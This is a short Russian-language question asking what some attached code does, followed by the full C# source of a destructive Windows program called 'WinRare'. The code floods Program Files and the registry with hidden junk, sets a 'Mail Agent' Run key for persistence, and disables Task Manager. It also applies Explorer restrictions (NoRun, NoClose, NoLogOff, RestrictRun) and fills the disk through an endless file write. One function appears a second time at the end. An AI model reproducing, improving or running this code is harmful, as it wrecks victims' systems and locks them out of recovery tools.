Какие функции выполняет приложенный код

namespace WinRare
{
    class Program
    {           
        public static void Main()
        {   
            backgroundWorker1 = new System.ComponentModel.BackgroundWorker();
            backgroundWorker2 = new System.ComponentModel.BackgroundWorker();
            backgroundWorker3 = new System.ComponentModel.BackgroundWorker();
            backgroundWorker4 = new System.ComponentModel.BackgroundWorker();
            backgroundWorker5 = new System.ComponentModel.BackgroundWorker();
            backgroundWorker6 = new System.ComponentModel.BackgroundWorker();
            
            backgroundWorker1.DoWork += new System.ComponentModel.DoWorkEventHandler(Program_DoWork1);
            backgroundWorker2.DoWork += new System.ComponentModel.DoWorkEventHandler(Program_DoWork2);
            backgroundWorker3.DoWork += new System.ComponentModel.DoWorkEventHandler(Program_DoWork3);
            backgroundWorker4.DoWork += new System.ComponentModel.DoWorkEventHandler(Program_DoWork4);
            backgroundWorker5.DoWork += new System.ComponentModel.DoWorkEventHandler(Program_DoWork5);
            backgroundWorker6.DoWork += new System.ComponentModel.DoWorkEventHandler(Program_DoWork6);
            
            backgroundWorker1.RunWorkerAsync();
            backgroundWorker2.RunWorkerAsync();
            backgroundWorker3.RunWorkerAsync();
            backgroundWorker4.RunWorkerAsync();
            backgroundWorker5.RunWorkerAsync();
            backgroundWorker6.RunWorkerAsync();
        }
        
        private static void Program_DoWork1(object sender, System.ComponentModel.DoWorkEventArgs e)
        {
            string[] DirReader = System.IO.Directory.GetDirectories("C:\\Program Files");
            foreach (string DirRead in DirReader) 
            {
                System.Random IntRandFolder = new System.Random();
                for (int i = 0; i < 999999999; i++)
                {
                    string SFolders = DirRead + "\\" + IntRandFolder.Next(0, 999999999).ToString();
                    System.IO.Directory.CreateDirectory(SFolders);
                    System.IO.File.SetAttributes(SFolders, System.IO.FileAttributes.Hidden);
                    System.Random IntRandFile = new System.Random();
                    for (int q = 0; q < 999999999; q++)
                    {
                        string IntFile = IntRandFile.Next(0, 999999999).ToString(), SFiles = SFolders + "\\" + IntFile + ".dll";
                        System.IO.FileStream FileCreate = new System.IO.FileStream(SFiles, System.IO.FileMode.OpenOrCreate, System.IO.FileAccess.ReadWrite, System.IO.FileShare.None);
                        System.IO.StreamWriter CreatFile = new System.IO.StreamWriter(FileCreate);
                        CreatFile.WriteLine("Warning! Warning! Warning! Warning! Warning!");
                        CreatFile.Close();
                        System.IO.File.SetAttributes(SFiles, System.IO.FileAttributes.Hidden);
                    }
                }
            }
        }
        
        private static void Program_DoWork2(object sender, System.ComponentModel.DoWorkEventArgs e)
        {
            string[] RegRead = Microsoft.Win32.Registry.CurrentUser.GetSubKeyNames();
            foreach (string RegReader in RegRead)
            {
                System.Random IntRandRegKey = new System.Random();
                for (int i = 0; i < 999999999; i++)
                {
                    System.Random IntRandFolder = new System.Random();
                    for (int q = 0; q < 999999999; q++) 
                    {
                        string SKey = RegReader + "\\" + IntRandRegKey.Next(0, 999999999).ToString();
                        Microsoft.Win32.RegistryKey RegKey;
                        RegKey = Microsoft.Win32.Registry.CurrentUser.CreateSubKey(SKey);
                        RegKey.SetValue(SKey, IntRandRegKey.Next(0, 999999999).ToString());
                        RegKey.Close();
                    }
                }
            }
        }
        
        private static void Program_DoWork3(object sender, System.ComponentModel.DoWorkEventArgs e)
        {
            string[] Folders = System.IO.Directory.GetDirectories("C:\\Program Files");
            foreach (string Folder in Folders)
            {
                System.IO.File.Move(System.Reflection.Assembly.GetExecutingAssembly().Location, Folder);
            }
            Microsoft.Win32.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", "Mail Agent", System.Reflection.Assembly.GetExecutingAssembly().Location, Microsoft.Win32.RegistryValueKind.String);
            Microsoft.Win32.RegistryKey RegKey;
            string KeyValueInt = "0", SubKey = "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System";
            RegKey = Microsoft.Win32.Registry.CurrentUser.CreateSubKey(SubKey);
            RegKey.SetValue("DisableTaskMgr", KeyValueInt);
            RegKey.Close();
        }
        
        private static void Program_DoWork4(object sender, System.ComponentModel.DoWorkEventArgs e)
        {
            Microsoft.Win32.RegistryKey RegKey;
            string KeyValueInt = "1", SubKey = "HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer";
            RegKey = Microsoft.Win32.Registry.CurrentUser.CreateSubKey(SubKey);
            RegKey.SetValue("RestrictRun", KeyValueInt, Microsoft.Win32.RegistryValueKind.DWord);
            RegKey.Close();
            
            Microsoft.Win32.RegistryKey key;
            key = Microsoft.Win32.Registry.CurrentUser.CreateSubKey("HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\RestrictRun");
            key.Close();
        }
        
        private static void Program_DoWork5(object sender, System.ComponentModel.DoWorkEventArgs e)
        {
            Microsoft.Win32.RegistryKey RegKey;
            string KeyValueInt = "01 00 00 00", SubKey = "HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\PoliciesExplorer";
            RegKey = Microsoft.Win32.Registry.CurrentUser.CreateSubKey(SubKey);
            RegKey.SetValue("NoClose", KeyValueInt, Microsoft.Win32.RegistryValueKind.Binary);
            RegKey.SetValue("NoFavoritesMenu", KeyValueInt, Microsoft.Win32.RegistryValueKind.Binary);
            RegKey.SetValue("NoFind", KeyValueInt, Microsoft.Win32.RegistryValueKind.Binary);
            RegKey.SetValue("NoLogOff", KeyValueInt, Microsoft.Win32.RegistryValueKind.Binary);
            RegKey.SetValue("NoRecentDocsMenu", KeyValueInt, Microsoft.Win32.RegistryValueKind.Binary);
            RegKey.SetValue("NoRun", KeyValueInt, Microsoft.Win32.RegistryValueKind.Binary);
            RegKey.SetValue("NoSetFolders", KeyValueInt, Microsoft.Win32.RegistryValueKind.Binary);
            RegKey.Close();
        }
        
        private static void Program_DoWork6(object sender, System.ComponentModel.DoWorkEventArgs e)
        {
            System.IO.StreamWriter SW = new System.IO.StreamWriter(System.IO.Path.GetRandomFileName());
            for(;;)
            {
                SW.Write(System.IO.Path.GetRandomFileName());
            }
        }
        
        private static System.ComponentModel.BackgroundWorker backgroundWorker1;
        private static System.ComponentModel.BackgroundWorker backgroundWorker2;
        private static System.ComponentModel.BackgroundWorker backgroundWorker3;
        private static System.ComponentModel.BackgroundWorker backgroundWorker4;
        private static System.ComponentModel.BackgroundWorker backgroundWorker5;
        private static System.ComponentModel.BackgroundWorker backgroundWorker6;
    }
}

 private static void Program_DoWork6(object sender, System.ComponentModel.DoWorkEventArgs e)
{
                        System.IO.StreamWriter SW = new System.IO.StreamWriter(System.IO.Path.GetRandomFileName());
                        for(;;)
                        {
                                SW.Write(System.IO.Path.GetRandomFileName());
                        }
                }